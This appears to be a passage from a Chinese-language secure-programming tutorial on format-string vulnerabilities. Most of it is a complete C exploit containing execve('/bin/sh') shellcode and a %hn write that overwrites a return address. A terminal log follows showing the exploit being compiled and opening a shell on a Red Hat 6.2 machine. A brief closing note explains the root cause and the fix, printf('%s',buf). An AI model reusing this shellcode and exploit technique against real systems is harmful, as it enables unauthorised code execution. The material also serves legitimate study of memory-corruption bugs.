[摘要]more #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET0 #define ...
more
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET0
#define DEFAULT_ALIGNMENT 0
#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8
//F为格式化字符串地址
//X为垃圾的个数,X*4也就是
//从esp到F的长度
#define NOP0x90
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[]) {
char *ptr;
long shell_addr,retloc=DEFAULT_RETLOC;
int i,SH1,SH2;
char buf[512];
char buf1[5000];
int t;
printf("Using RET location address: 0x%x\n", retloc);
shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的参数地址
//里面存放着shellcode
printf("Using Shellcode address: 0x%x\n", shell_addr);
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8
ptr = buf;
if ((SH1)<(SH2))
{
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc+2) & 0xff;
(*ptr++) = ((retloc+2) >> 8) & 0xff ;
(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc) & 0xff;
(*ptr++) = ((retloc) >> 8) & 0xff ;
(*ptr++) = ((retloc) >> 16 ) & 0xff ;
(*ptr++) = ((retloc) >> 24 ) & 0xff ;
sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
/*推荐构造格式化串的时候使用%hn*/
}
if ((SH1 )>(SH2))
{
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc) & 0xff;
(*ptr++) = ((retloc) >> 8) & 0xff ;
(*ptr++) = ((retloc) >> 16 ) & 0xff ;
(*ptr++) = ((retloc) >> 24 ) & 0xff ;
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc+2) & 0xff;
(*ptr++) = ((retloc+2) >> 8) & 0xff ;
(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
{
printf("不能用一个printf实现这种情况\n"),exit(0);
//其实是可以的,注意这个$这个特殊的printf选项没有
//参考前面的演示四 :)
}
sprintf(buf1,"%s%s",buf,shellcode);
execle("./test","test",buf1, NULL,NULL);
}
[alert7@redhat]$ gcc -o exp exp.c
[alert7@redhat]$ ./exp 50
Using RET location address: 0xbffffd18
Using Shellcode address: 0xbfffff42
bash$ uname -a
Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
bash$ 成功:)
里面的一些数据的定位请参考我写的<<利用格式化串覆盖printf()系列函数本身的返回地址>>
★★ 小结:
存在格式化字符串的根本原因所在是程序允许用户提供部分或全部的格式化字符串,
也就是说,在*printf()系列函数中,格式化字符串位置的参数可由用户提供或者说
是控制。例如:千万不要因为懒惰写成这样printf(buf),正确的写法应该是
printf("%s",buf).
关键词:非安全编程演示之格式化字符串篇